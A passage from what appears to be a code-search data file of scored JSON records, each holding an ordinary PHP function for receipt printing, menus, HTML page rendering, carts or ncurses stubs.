text(\"Hello World!\");\n $printer -> cut();\n\n /* Close printer */\n $printer -> close();\n\n}", "title": "" }, { "docid": "a0075c7258fdfd3b3938264bed9e7f20", "score": "0.48509392", "text": "function ncurses_clrtobot()\n{\n}", "title": "" }, { "docid": "4582d9587c841c8c95675edf54236111", "score": "0.48509136", "text": "public function display()\n\t{\n\t\tprint_r(\"<br/>RedheadDuck looks like this!<br/>\");\n\t}", "title": "" }, { "docid": "4a15a66d6dc176ddd9f61c724dbd091c", "score": "0.48253223", "text": "function cliout($data){\n print ($this->cli) ? $data : \"\";\n\t}", "title": "" }, { "docid": "767b01435cd93b411e899c88532f4154", "score": "0.48193347", "text": "function display_menu()\n {\n echo '<table width=\"160\">';\n if ($_ENV[\"REMOTE_USER\"] == 'pernod' || $_ENV[\"REMOTE_USER\"] == 'admin')\n {\n menu_item('Shell Commands','section=CMD&action=DISPLAY');\n menu_item('SQL Commands','section=DB&action=RUNSQL');\n menu_item('Release Code','section=RELEASE&action=DISPLAY');\n menu_item('Messages','section=MESG&action=DISPLAY');\n menu_item('Contributors','section=CONTRIB&action=DISPLAY');\n }\n\n menu_item('Upload Style','section=STYLE&action=DISPLAY');\n echo '</table>';\n }", "title": "" }, { "docid": "52acb0e01742438e8b3bc2ad42b74273", "score": "0.48116788", "text": "function HD_program_gui(){\n\tHD_program_days();\n}", "title": "" }, { "docid": "4a845bd6187b96b9894edc27c2f96612", "score": "0.47939977", "text": "public function mainKontoFunction()\n {\n if ($this->userHasRight(18, 0) == true) {\n // Besitzer:\n $besitzer = $this->getUserID($_SESSION['username']);\n\n // Buttons\n echo \"<div class='innerBody'>\";\n echo \"<a href='?neuesKonto' class='rightBlueLink'>Neues Konto</a>\";\n \n // Kontomanipulationen\n $this->showCreateNewUeberweisung();\n $this->showCreateNewKonto($besitzer);\n echo \"</div>\";\n\n // Konto&uuml;bersicht:\n $this->showKontoUebersicht($besitzer);\n } else {\n echo \"<p class='info'>Du besitzt keine Schreibrechte in diesem Bereich.</p>\";\n }\n\n }", "title": "" }, { "docid": "daa8abb316c22b3ab39d6e77b22df0c3", "score": "0.47583312", "text": "function printTresc(){\n $tresc =\"\";\n $tresc .= \"<!DOCTYPE html><html><head><meta charset='UTF-8'>\"\n . \"<meta name='viewport' content='width=device-width, initial-scale=1.0'>\"\n . \"<link rel='stylesheet' href='CSS/style.css' type='text/css' />\"\n . \"<script src='js/whcookies.js'></script><title>Biblioteka - Wypożycz</title>\"\n . \"</head><body><div id='naglowek_div'><h1><span id='naglowek_tresc'>Wypożycz książki!</span></h1></div>\";\n switch ($_SESSION['typ_konta']){\n case 2:\n $tresc .= \"<div id='menu2'><ol>\";\n $tresc .= \"<li><a class='button_menu2' href='user_page.php'>Strona Główna</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='katalog_ksiazek.php'>Katalog książek</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='moje_konto_page.php'>Moje konto</a><ul><li>\";\n $tresc .= \"<a class='button_menu2' href='moje_ksiazki.php'>Moje książki</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='moje_konto_page.php'>Moje konto</a></li></ul></li>\";\n $tresc .= \"<li><a class='button_menu2' href='wypozycz_page.php'>Opcje pracownika</a><ul><li><a class='button_menu2' href='wypozycz_page.php'>Wypożycz/Oddaj</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='dodaj_ksiazke_page.php'>Dodaj książkę</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='rejestracja.php'>Dodaj użytkownika</a></li></ul></li>\";\n $tresc .= \"<li><a class='button_menu2' href='wyloguj.php'>Wyloguj</a></li></ol>\";\n break;\n case 3:\n $tresc .= \"<div id='menu3'><ol>\";\n $tresc .= \"<li><a class='button_menu2' href='user_page.php'>Strona Główna</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='katalog_ksiazek.php'>Katalog książek</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='moje_konto_page.php'>Moje konto</a><ul><li>\";\n $tresc .= \"<a class='button_menu2' href='moje_ksiazki.php'>Moje książki</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='moje_konto_page.php'>Moje konto</a></li></ul></li>\";\n $tresc .= \"<li><a class='button_menu2' href='wypozycz_page.php'>Opcje pracownika</a><ul><li><a class='button_menu2' href='wypozycz_page.php'>Wypożycz/Oddaj</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='dodaj_ksiazke_page.php'>Dodaj książkę</a></li></ul></li>\";\n $tresc .= \"<li><a class='button_menu2' href='statystyki_page.php'>Opcje Właściciela</a><ul><li><a class='button_menu2' href='rejestracja.php'>Dodaj użytkownika</a></li>\";\n $tresc .= \"<li><a class='button_menu2' href='statystyki_page.php'>Statystyki</a></li></ul></li>\";\n $tresc .= \"<li><a class='button_menu2' href='wyloguj.php'>Wyloguj</a></li></ol>\";\n break; \n }\n $tresc .= \"</div><div id='tresc_div'><span class='tresc_span' id='tresc_katalog'>\";\n if (isset($_SESSION['pracownik_wypozyczono'])){\n $tresc .= 'Udało się wypożyczyć książkę!<br>';\n unset($_SESSION['pracownik_wypozyczono']);\n }\n \n if (isset($_SESSION['pracownik_oddano'])){\n $tresc .= 'Udało się oddać książkę!<br>';\n unset($_SESSION['pracownik_oddano']);\n }\n \n if (isset($_SESSION['pracownik_anulowano'])){\n $tresc .= 'Udało się anulować rezerwację książki!<br>';\n unset($_SESSION['pracownik_anulowano']);\n }\n $tresc .= \"Możesz tutaj przeglądać książki które czytelnicy zarezerwowali i wypożyczyli:\"\n . \"</span><div id='formularz_div'><form><table class='do_wypozyczenia_table'><tr>\"\n . \"<td colspan='5' class='ksiazki_td_naglowek'>Zarezerwowane książki:</td></tr><tr>\"\n . \"<td class='ksiazki_td_naglowek'>Login</td><td class='ksiazki_td_naglowek'>Autor</td>\"\n . \"<td class='ksiazki_td_naglowek'>Tytuł</td><td class='ksiazki_td_naglowek'>Data rezerwacji</td>\"\n . \"<td class='ksiazki_td_naglowek'>Akcja</td></tr>\".printZarezerwowane(\"TRUE\").\"</table><br><table class='do_wypozyczenia_table'>\"\n . \"<tr><td colspan='5' class='ksiazki_td_naglowek'>Zarezerwowane książki których rezerwacja upłynęła:</td>\"\n . \"</tr><tr><td class='ksiazki_td_naglowek'>Login</td><td class='ksiazki_td_naglowek'>Autor</td>\"\n . \"<td class='ksiazki_td_naglowek'>Tytuł</td><td class='ksiazki_td_naglowek'>Data rezerwacji</td>\"\n . \"<td class='ksiazki_td_naglowek'>Akcja</td></tr>\".printZarezerwowane(\"FALSE\").\"</table><br><table class='wypozyczone_table_pracownik'>\"\n . \"<tr><td colspan='5' class='ksiazki_td_naglowek'>Wypożyczone książki:</td></tr><tr><td class='ksiazki_td_naglowek'>Login</td>\"\n . \"<td class='ksiazki_td_naglowek'>Autor</td><td class='ksiazki_td_naglowek'>Tytuł</td>\"\n . \"<td class='ksiazki_td_naglowek'>Data rezerwacji</td><td class='ksiazki_td_naglowek'>Akcja</td></tr>\".printWypozyczone();\n if (isset($_SESSION['blad_select'])){\n $tresc .= $_SESSION['blad_select'];\n unset($_SESSION['blad_select']);\n }\n $tresc .= \"</table></form></div></div><div id='stopka'> &copy; 2017 Marcin Małocha</div></body></html>\";\n echo $tresc;\n}", "title": "" }, { "docid": "cd148265679525ab69314d28a694fbfe", "score": "0.47510177", "text": "public function render(){\n\t\t$prefix = su_cmpt();\n\t\t\n\t\t$open_title = (isset($this->addon->settings->open_title) && $this->addon->settings->open_title) ? $this->addon->settings->open_title : 'Reveal it';\n\t\t$close_title = (isset($this->addon->settings->close_title) && $this->addon->settings->close_title) ? $this->addon->settings->close_title : 'Close me';\n\t\t$duration = (isset($this->addon->settings->duration) && $this->addon->settings->duration) ? $this->addon->settings->duration : '1000';\n\t\t$content = (isset($this->addon->settings->content) && $this->addon->settings->content) ? $this->addon->settings->content.'[/'.$prefix.'drawer]' : '';\n\t\t$open_icon = (isset($this->addon->settings->open_icon) && $this->addon->settings->open_icon) ? trim(str_replace('fa-', '', 'icon:'.$this->addon->settings->open_icon)) : '';\n\t\t$close_icon = (isset($this->addon->settings->close_icon) && $this->addon->settings->close_icon) ? trim(str_replace('fa-', '', 'icon:'.$this->addon->settings->close_icon)) : '';\n\t\t\n\t\t$title_background = (isset($this->addon->settings->title_background) && $this->addon->settings->title_background) ? $this->addon->settings->title_background : '';\n\t\t$title_color = (isset($this->addon->settings->title_color) && $this->addon->settings->title_color) ? $this->addon->settings->title_color : '';\n\t\t$background = (isset($this->addon->settings->background) && $this->addon->settings->background) ? $this->addon->settings->background : '';\n\t\t$padding = (isset($this->addon->settings->padding) && $this->addon->settings->padding) ? $this->addon->settings->padding : '';\n\t\t$animation = (isset($this->addon->settings->animation) && $this->addon->settings->animation) ? $this->addon->settings->animation : '';\n\t\t$class = (isset($this->addon->settings->class) && $this->addon->settings->class) ? $this->addon->settings->class : '';\n\n\n\t\t// Output\n\t\t$output = '<div class=\"bdt-addon bdt-addon-drawer ' . $class .'\">';\n\t\t$output .= su_do_shortcode('['.$prefix.'drawer open_title=\"'.$open_title.'\" close_title=\"'.$close_title.'\" open_icon=\"'.$open_icon.'\" close_icon=\"'.$close_icon.'\" title_background=\"'.$title_background.'\" title_color=\"'.$title_color.'\" background=\"'.$background.'\" color=\"inherit\" padding=\"'.$padding.'\" animation=\"'.$animation.'\" duration=\"'.$duration.'\"]'.$content);\n\t\t$output .= '</div>';\n\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "c23fb607e82128a0a5c03640bc8fae79", "score": "0.472481", "text": "function reports() {\n\t\n\techo \"<br><h1>Cuisine Reports</h1>\";\n\techo \"<p>Welcome to the Cuisine report! The following is a report of cuisines that you can select.</p>\";\n\techo \"<p>Use the View Meal option to see what meals are available for that cuisine.</p>\";\n\t\n\tselectCuisineMenu();\n}", "title": "" }, { "docid": "4536c9c28aa9116f3f740c93033d44c5", "score": "0.47133642", "text": "function createCCAccountReceivableSelect($name, $pos_account_id)\n{\n\t//I believe we are linking the drawer upon open and releasing the link on close.\n\t//Can a terminal access any cash drawer? Probalby not, but lets start there....\n\t\n\t$registers = getSQL(\"SELECT pos_account_id, company, account_number, pos_store_id FROM pos_accounts LEFT JOIN pos_account_type USING (pos_account_type_id) WHERE pos_accounts.active = 1 AND account_type_name = 'Accounts Receivable - Credit Card Processor'\");\n\t\n\t$html = '<select style=\"width:100%\" id = \"'.$name.'\" name=\"'.$name.'\" ';\n\t$html .= ' onchange=\"needToConfirm=true\" ';\n\t$html .= '>';\n\t//Add an option for not selected\n\t$html .= '<option value=\"false\">Select Account</option>';\n\t//add an option for all accounts\n\t\n\tfor($i = 0;$i < sizeof($registers); $i++)\n\t{\n\t\t$html .= '<option value=\"' . $registers[$i]['pos_account_id'] . '\"';\n\t\t\n\t\tif ( ($registers[$i]['pos_account_id'] == $pos_account_id) ) \n\t\t{\n\t\t\t$html .= ' selected=\"selected\"';\n\t\t}\n\t\t\t\n\t\t$html .= '>' . $registers[$i]['company'] . ' ' . craigsDecryption($registers[$i]['account_number']) . '</option>';\n\t}\n\t$html .= '</select>';\n\treturn $html;\n\n}", "title": "" }, { "docid": "974277935efc0790a51d56363947d144", "score": "0.46826762", "text": "function ncurses_slk_noutrefresh()\n{\n}", "title": "" }, { "docid": "2b79f54e90ede3b2fd07ab072ce1de46", "score": "0.4643147", "text": "function output_ingredient_intro() {\n print (\"\\n\");\n print (\"Directions:\\n\\n\");\n print (\"In a bowl, mix:\\n\");\n}", "title": "" }, { "docid": "acd4204b96c82ebc1ad2124ca9afd00a", "score": "0.4620466", "text": "public function view_cart(){\n\t\t//Devuelve el carrrtio\n\t\t$data['title'] = 'Detalle de la Compra';\n\t\t$data['active'] = 2; //punto 2 del sidebar\n\t\t//Obtener carrito\n\t\t$userid = $_SESSION['logged_in']['userid'];\n\t\t$data['carrito'] = $this->cila_model->get_carrito($userid);\n\t\t$this->loadview('shop-cart',$data);\n\n\t}", "title": "" }, { "docid": "0ea2781f426d15cec44dcd9bb198d651", "score": "0.4605748", "text": "function debt($label, $data=NULL) {\n\t$print_data = print_r($data, TRUE);\n\tprint \"\n\t\" . $label . \"\n\t\";\n\tif ($data) print $print_data . \"\n\t\";\n}", "title": "" }, { "docid": "b28fc711e734ff15a3a761808a1bb5ac", "score": "0.4600273", "text": "private function printMenu() {\n\t\t$this->logo();\n\t\t$this->line(\"Please select the number of options below:\");\n\t\t$action = $this->choice('Main Menu', $this->menu);\n\t\t$this->processAction($action);\n\t}", "title": "" }, { "docid": "0b07db7786e4ddbfd405a3f439228a1a", "score": "0.45962942", "text": "function reussitepersonnelle_commander() {\n\t?>\n\t<li class=\"genesis-nav-menu menu-item commander\"><a onclick=\"javascript:__gaTracker('send', 'event', 'top-nav', 'commander');\" href=\"https://www.reussitepersonnelle.com/commande/?add-to-cart=7782\">Commander Maintenant</a></li>';\n\t<?php\n}", "title": "" }, { "docid": "dfc54e3f0ed6f33193f136bcd72a2b65", "score": "0.45831555", "text": "public function draw() {\n echo 'yuan===';\n }", "title": "" }, { "docid": "e7a51a7a9994f2b45e3e5cff79c564fb", "score": "0.45813426", "text": "public static function getTerminal()\n {\n return new Terminal(\n self::getRepository(),\n self::getCart(),\n self::getCartTotal()\n );\n }", "title": "" }, { "docid": "73b580c9ea7db7fec36185019d84d239", "score": "0.4563107", "text": "function show_smash($dbc) {\n\t#Create a query to get the characters\n\t$query = \"SELECT id, bid, character_name, buyer_name FROM smash\" ;\n\n\t#Execute the query\n\t$results = mysqli_query( $dbc , $query ) ;\n\tcheck_results($results) ;\n\t#Show results\n\t\n\t$cells = $_COOKIE['cells'];\n\t\n\tif( $results )\n\t{\n\t\t$counter=0;\n \t\t#But...wait until we know the query succeed before\n \t\t#rendering the table start.\n \t\techo '<H1>Current Listings:</H1>' ;\n\t\t \n\t\techo '<TABLE>';\n\t\techo '<table border = \"1\"';\n\t\techo '<TR>';\n\t\t#For each row result, generate a table row\n\t\twhile ( $row = mysqli_fetch_array( $results , MYSQLI_ASSOC ) ){\n\t\t\techo '<TD class=\"cell\">';\t//Create a new table segment\t\t\n\t\t\t$counter=$counter+1; //Increment counter\n\t\t\techo '<Button class=\"charBtn\" id=\"'.$row['id'].'\" onClick=\"charSelected(this.id)\"> <img src=\"/edsa-Smash/icons/'.$row['character_name'].'HeadSSBUWebsite.png\" style=\"width:128px;height:128px;\">'; //Show character head icon\n echo '<p>' . $row['character_name'] . '</p>' ; //Show character name\n\t\t\techo '<p>$' . $row['bid'] . '</p>' ; //Show the current bid\n\t\t\tif($row['buyer_name']=='None yet') //Show current buyer (in red if there's none)\n\t\t\t\techo '<p style=\"color:red\">' . $row['buyer_name'] . '</p>' ;\n\t\t\telse\n\t\t\t\techo '<p>' . $row['buyer_name'] . '</p>' ;\n\t\t\techo '</Button> </TD>';\n\t\t\tif($counter==$cells){\n\t\t\t\techo '</TR>' ;\n\t\t\t\techo '<TR>';\n\t\t\t\t$counter=0;\n\t\t\t}\n\t\t }\n\t\t #End the table\n\t\t echo '</TABLE>';\n\t\t #Free up the results in memory\n\t\t mysqli_free_result( $results ) ;\n }\n}", "title": "" }, { "docid": "c320feba72b581fd888fe0a8779597d8", "score": "0.45571682", "text": "public function drawer()\n {\n return $this->drawer;\n }", "title": "" }, { "docid": "f08cbf4276ac054a4f76493888a64d32", "score": "0.45424822", "text": "function add_cadre_menu_item_container_open() {\n echo '<div>';\n}", "title": "" }, { "docid": "ad2967cd0d71721aa5da75f0509636d6", "score": "0.45395088", "text": "function ncurses_panel_window($panel)\n{\n}", "title": "" }, { "docid": "8d11373c91cf334d0f04ab73e2a486bf", "score": "0.45368898", "text": "function POOL_showReadCD($poolName)\n{\n\tinclude(\"/m23/inc/i18n/\".$GLOBALS[\"m23_language\"].\"/m23base.php\");\n\t$devices=HELPER_getFdiskMountPoints();\n\n\t$firstDevice=$_POST[SEL_device];\n\tif (empty($firstDevice))\n\t\t$firstDevice=POOL_getProperty($poolName,\"device\");\n\n\t$firstDevice=trim($firstDevice);\n\n\tPOOL_setProperty($poolName,\"device\",$firstDevice);\n\t$readLabel=$I18N_readDrive;\n\n\tif (file_exists(\"/m23/tmp/copyPoolPackages.sh\"))\n\t{\n\t\t$readLabel=$I18N_checkDriveState;\n\t\t$butName=\"BUT_checkDrive\";\n\t\t$disabledNext=\"disabled\";\n\t}\n\telse\n\t{\n\t\t$readLabel=$I18N_readDrive;\n\t\t$butName=\"BUT_readDrive\";\n\t\t$disabledNext=\"\";\n\t};\n\t\n\tif (isset($_POST[BUT_readDrive]))\n\t{\n\t\tPOOL_readCD($poolName,$firstDevice);\n\t\t$readLabel=$I18N_checkDriveState;\n\t\t$butName=\"BUT_checkDrive\";\n\t\t$disabledNext=\"disabled\";\n\t};\n\n\tHTML_showTableHeader();\n\techo(\"\n\t<tr>\n\t\t<td colspan=\\\"2\\\"><span class=\\\"subhighlight\\\">$I18N_cdDrive</span></td>\n\t</tr>\n\t<tr>\n\t\t<td>\n\t\t\t\".HTML_listSelection(\"SEL_device\",$devices,$firstDevice).\"\n\t\t</td>\n\t\t<td>\n\t\t\t<INPUT type=\\\"submit\\\" name=\\\"$butName\\\" value=\\\"$readLabel\\\">\n\t\t<td>\n\t</tr>\n\t<tr>\n\t\t<td colspan=\\\"2\\\"><INPUT type=\\\"submit\\\" name=\\\"BUT_step5\\\" value=\\\"$I18N_nextStep ($I18N_poolStep[5])\\\" $disabledNext></td>\n\t</tr>\n\t<tr>\n\t\t<td colspan=\\\"2\\\">$I18N_poolSize: \".POOL_getSize($poolName).\" MB</td>\n\t</tr>\n\t\");\n\tHTML_showTableEnd();\n}", "title": "" }, { "docid": "45236ad97406a55b8c14c357144dd491", "score": "0.45353013", "text": "function console()\n\t{\n\t\tglobal $Cl_root_path, $errors, $template, $basic_gui;\n\t\t\n\t\t// do a pre-check if the console exists\n\t\tif ( !is_readable( $Cl_root_path . 'console/' ) )\n\t\t{\n\t\t\t$errors->report_error( $this->lang[ 'No_console' ], CRITICAL_ERROR );\n\t\t}\n\t\t// now check for the mykey.dat file\n\t\tif ( !is_readable( $Cl_root_path . 'console/config/mykey.dat' ) )\n\t\t{\n\t\t\t$errors->report_error( $this->lang[ 'No_mykey' ], CRITICAL_ERROR );\n\t\t}\n\t\t\n\t\t// now show the thingy\n\t\t$template->assign_block_vars( 'console', '', array(\n\t\t\t\t'L_TITLE' => $this->lang[ 'Console_title' ],\n\t\t\t\t'L_EXPLAIN' => $this->lang[ 'Console_explain' ],\n\t\t\t\t'U_FRAME' => $basic_gui->get_URL() . '/console/'\n\t\t\t) );\n\t\t$template->assign_switch( 'console', TRUE );\n\t}", "title": "" }, { "docid": "47152018b31204afacc0cb82b442eb14", "score": "0.45306003", "text": "function displayMenu()\n\t{\n\t\tshowInfo();\n\t\tshowActions();\n\t}", "title": "" }, { "docid": "e91f8014f1352a7dc13a61e22ccb2384", "score": "0.45293593", "text": "public function network_overview() {\n\t\techo '<div class=\"wrap\">' .\n\t\t\t'<div id=\"icon-network\" class=\"icon32-pa\"></div><h2>' . __( 'Network', 'vca-asm' ) . ' | ' . __( 'Overview', 'vca-asm' ) . '</h2>';\n\t\t$feech = new VCA_ASM_Admin_Future_Feech( array(\n\t\t\t'title' => __( 'Network', 'vca-asm' ) . ' | ' . __( 'Overview', 'vca-asm' ),\n\t\t\t'version' => '1.6 (?)',\n\t\t\t'explanation' => 'Statistiken etc.'\n\t\t));\n\t\t$feech->output();\n\t\techo '</div>';\n\t}", "title": "" }, { "docid": "f64ac9cf924f44632f74bf3cc971fcbb", "score": "0.4527869", "text": "public function dash()\n {\n //\n }", "title": "" }, { "docid": "9d3100611928facab35c5e233a970454", "score": "0.45263565", "text": "public function main()\n {\n $this->out(\"Available commands:\", 2);\n\n $shellList = $this->Command->getShellList();\n if (empty($shellList)) {\n return;\n }\n\n # Remove (this) command_list shell from available application shells\n if (($key = array_search('command_list', $shellList['app'])) !== false) {\n unset($shellList['app'][$key]);\n }\n\n # List available application shells only (no need to show CORE)\n foreach ($shellList['app'] as $shell) {\n $this->out(\" <info>cakebox $shell</info>\");\n }\n\n # Point to --help\n $this->out();\n $this->out(\"To get help on a specific command, type <info>`cakebox [command] --help`</info>\");\n }", "title": "" }, { "docid": "38442efdb191255fa1c8adc1d15702d8", "score": "0.45171222", "text": "function wcla_plugin_coinos_section_text() {\n\techo '<p>Put your <a href=\"https://coinos.io\" target=\"_blank\">coinos.io</a> API settings here. Leave empty if you want to use Elements node RPC settings below.</p>';\n}", "title": "" }, { "docid": "6ebe748ca116fe9901a5f09b7cd43191", "score": "0.45168078", "text": "public function printDialog() { }", "title": "" }, { "docid": "863b6ef7c459749648f0197609afe36f", "score": "0.451514", "text": "public function show(Cashier $cashier)\n {\n //\n }", "title": "" }, { "docid": "c9b72defa7a5bfe290ab0962b03846ac", "score": "0.45136228", "text": "public function click()\n {\n echo \"click mac btn\".PHP_EOL;\n }", "title": "" }, { "docid": "0ae240cd4c0f2da33ca687b3a217a720", "score": "0.45051345", "text": "public function _give_credit_front_end()\n\t{\n\t\t$this->_give_credit(true);\n\t}", "title": "" }, { "docid": "f561d1c152e985e897f3453b54bf3391", "score": "0.4502739", "text": "private function guest ()\n\t{\n\t\t;\n\t}", "title": "" }, { "docid": "bd4aefca90cf4a9601237819f14a5486", "score": "0.4502505", "text": "function topMenu()\n\n\n\n{\n\n//$reward = \"1\";//how many credits to give user for this action\n\n//require_once('components/com_listing/index.php?option=com_listing&task=credits4participation&amt='.$reward.'&'. JUtility::getToken() .'=1');\n\n\n\n\techo '<div id=\"l_top_menu\">\n\n\n\n\t\t\t<ul>\n\n\n\n\t\t\t\t<a href=\"index.php?option=com_listing&view=browse\">Browse</a>\n\n\n\n\t\t\t\t<a href=\"index.php?option=com_listing&view=post\">Post</a>\n\n\n\n\t\t\t\t<a href=\"index.php?option=com_listing&view=mylistings\">My Listings</a>\n\n\n\n\t\t\t\t<a href=\"index.php?option=com_listing&view=myaccount\">My Account</a>\n\n\n\n\t\t\t</ul>\n\n\n\n\t\t</div>';\n\n\n\n}", "title": "" }, { "docid": "a5c38488f1f506189bcf7f3f4c2892e9", "score": "0.45011607", "text": "function indicador1($op)\n\t{\n\t\t$nombre = \"X\";\n\t\t$this->SetFont('Arial','', 15);\n\t\t$this->SetTextColor(0,0,0);\n\t\tif($op == \"0\")\n\t\t{\n\t\t\t$this->SetXY(69, 178.5);\n\t\t}\n\t\telse if($op==\"1\")\n\t\t{\n\t\t\t$this->SetXY(129, 178.5);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->SetXY(188, 178.5);\n\t\t}\n\t\t$this->Write(0, $nombre);\n\t}", "title": "" }, { "docid": "ff5d0c0cbb78e3e52485c2a06694050b", "score": "0.44982857", "text": "function menu($f3)\r\n\t\t{\r\n\t\t\t$controller = new OrderController($f3);\r\n\t\t\t$controller->menu();\r\n\t\t}", "title": "" }, { "docid": "d29377f3f417f7fa353ea66808011646", "score": "0.44907603", "text": "function balance($details,$phone){\n\t$ussd_text=\"CON <br/> Enter your PIN\"; \n ussd_proceed($ussd_text); \n}", "title": "" }, { "docid": "52085a548f58dfb469b1b190f6623831", "score": "0.4476748", "text": "function menu(){\n\n if ($_SESSION['name'] == null) {\n echo '<div class=\"col\"><p>Hello, ' . $_SESSION['email'] .'</p>';\n }else{\n echo '<div class=\"col\"><p>Hello, ' . $_SESSION['name'] .'</p>';\n }\n echo '<a href=\"order-history.php\" style=\"color:red\">'. countOrder() .'</a><span> unpaid order</span>\n </div>\n <div class=\"col\">\n <a href=\"index.php\">Prepaid Balance</a>\n </div>\n <div class=\"col\">\n <p>|</p>\n </div>\n <div class=\"col\">\n <a href=\"product.php\">Product Page</a>\n </div>';\n}", "title": "" }, { "docid": "11ba5c039b1c9a12aace20905fdad8cc", "score": "0.44757882", "text": "function fund_title() {\n echo \"Balance Overview\";\n}", "title": "" }, { "docid": "28c8467446fa34e769a24196da632b62", "score": "0.44695035", "text": "function menu_equipe_carddio() {\n\n add_menu_page(\n 'Equipe', // Tag da página\n 'Equipe Cárddio', // Título do menu\n 'manage_options', // Nível administrativo\n 'Equipe', // Slug\n 'equipe_carddio', // Função\n 'dashicons-admin-settings', // Ícone do menu\n 6 // Posição\n );\n\n}", "title": "" }, { "docid": "3ea75173b9a8e88d9b7359dd4b01a0bf", "score": "0.4468872", "text": "function make_ecard()\n\t{\n\t\tglobal $template;\n\n\t\tif (!defined(\"admin\")) {\n\t\t\t$this->ecard_init(\"FRONT\");\n\n\t\t\t// Frontend\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_front.html\")) {\n\t\t\t\tif (@$this->checked->action) $this->switch_front_actions($this->checked->action);\n\t\t\t\t$this->switch_front();\n\n\t\t\t\t$this->content->template['front_link_ecard']='./plugin.php?menuid='.$this->checked->menuid.'&template=ecard/templates/ecard_front.html';\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t// Backend\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_back.html\")) {\n\t\t\t\t$this->user->check_intern();\n\t\t\t\t$this->ecard_init(\"BACK\");\n\t\t\t\t$this->switch_back(@$this->checked->action);\n\t\t\t}\n\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_back_cards.html\")) {\n\t\t\t\t$this->user->check_intern();\n\t\t\t\t$this->ecard_init(\"BACK\");\n\t\t\t\t$this->switch_back_babies(@$this->checked->action);\n\t\t\t}\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_back_galerien.html\")) {\n\t\t\t\t$this->user->check_intern();\n\t\t\t\t$this->ecard_init(\"BACK\");\n\t\t\t\t$this->switch_back_galerien(@$this->checked->action);\n\t\t\t}\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_back_einbindung.html\")) {\n\t\t\t\t$this->user->check_intern();\n\t\t\t\t$this->ecard_init(\"BACK\");\n\t\t\t}\n\t\t\tif (strpos(\"XXX\".$template, \"/ecard_back_einstellungen.html\")) {\n\t\t\t\t$this->user->check_intern();\n\t\t\t\t$this->ecard_init(\"BACK\");\n\t\t\t\t$this->switch_back_einstellungen(@$this->checked->action);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7b33a8cff13e504541339050590e8e51", "score": "0.44680965", "text": "function printAdminCookiesMenu()\n {\n global $wpdb;\n if(!is_admin()) die();\n include('php/admin_cookies_menu.php');\n }", "title": "" }, { "docid": "7aa9198b6843682b3c79109a1e772c23", "score": "0.44629228", "text": "public function makeMenu() {}", "title": "" }, { "docid": "1a1cf6096415326adf799708b982982c", "score": "0.44600636", "text": "function\tart()\n{\n system('clear');\n echo \" _____ __ ____ __\\n\";\n echo \" ___ | / /_______ |/ /\\n\";\n echo \" __ |/ /_ __ \\_ / \\n\";\n echo \" _ /| / / /_/ / | \\n\";\n echo \" /_/ |_/ \\____//_/|_| \\n\";\n echo \"\\n\\n\";\n}", "title": "" }, { "docid": "7e7a8d2fdf4f7f8644e1eb8771c9c233", "score": "0.4441709", "text": "public function DrawCard(){\n\t}", "title": "" }, { "docid": "064a759b8ddf2ea85591be992961b3dd", "score": "0.44412982", "text": "function storefront_header_cart() {\n\t\tif ( storefront_is_woocommerce_activated() ) {\n\t\t\t?>\n <ul id=\"site-header-cart\" class=\"site-header-cart menu\">\n <li class=\"<?php echo esc_attr( $class ); ?>\">\n <a href=\"<?php echo esc_url( WC()->cart->get_cart_url() ); ?>\"\n title=\"<?php esc_attr_e( 'View your shopping cart', 'storefront' ); ?>\">\n View your shopping cart <i class=\"fa fa-shopping-basket\" aria-hidden=\"true\"></i>\n </a>\n </li>\n </ul>\n\t\t\t<?php\n\t\t}\n\t}", "title": "" }, { "docid": "9a14574e4727d6ae5e86782ade0d7513", "score": "0.4440765", "text": "public function menuprinc()\n\t{\n\t\t$this->buf .= \"<p align=\\\"center\\\">Favor acceder este m&oacute;dulo desde \" .\n\t\t\t\"el <a href=\\\"menu.php\\\">menu principal</p>\";\n\t}", "title": "" }, { "docid": "2c38efb03e9123b42e9a5931a1908979", "score": "0.44376203", "text": "function poco_handheld_footer_bar_cart() {\n ?>\n <a class=\"footer-cart\" href=\"<?php echo esc_url(wc_get_cart_url()); ?>\"\n title=\"<?php esc_attr_e('View your shopping cart', 'poco'); ?>\">\n\t\t\t\t<span\n class=\"count\"><?php echo wp_kses_data(sprintf(_n('%d', '%d', WC()->cart->get_cart_contents_count(), 'poco'), WC()->cart->get_cart_contents_count())); ?></span>\n <span class=\"title\"><?php echo esc_html__('Cart', 'poco'); ?></span>\n </a>\n <?php\n }", "title": "" }, { "docid": "0145290394d8522b52dbbe544d84918e", "score": "0.44322", "text": "public function printcreditmemoAction()\n {\n// $this->_title(\"Invoice No.\" . $order_id);\n// $this->loadLayout();\n// $this->renderLayout();\n\n $creditmemo = $this->_initCreditmemo();\n if ($creditmemo) {\n if ($creditmemo->getInvoice()) {\n $this->_title($this->__(\"View Memo for #%s\", $creditmemo->getInvoice()->getIncrementId()));\n } else {\n $this->_title($this->__(\"View Memo\"));\n }\n\n $this->loadLayout();\n $this->renderLayout();\n } else {\n echo 'Error when processing!!!!';\n }\n }", "title": "" }, { "docid": "6681fe2fbb1fd19a97f1b8b16db044b1", "score": "0.44297168", "text": "function storefront_credit() {\n\t\t?>\n\t\t<div class=\"site-info\">\n\t\t\t<?php echo esc_html( apply_filters( 'storefront_copyright_text', $content = '&copy; ' . get_bloginfo( 'name' ) . ' ' . date( 'Y' ) ) ); ?>\n\t\t\t<?php if ( apply_filters( 'storefront_credit_link', true ) ) { ?>\n\t\t\tSpazzolificio Piave S.p.a. Via A.Palladio 5, 35019 Tombolo – Pd (Italia) <?php if ( function_exists ('wc_accepted_payment_methods') ) 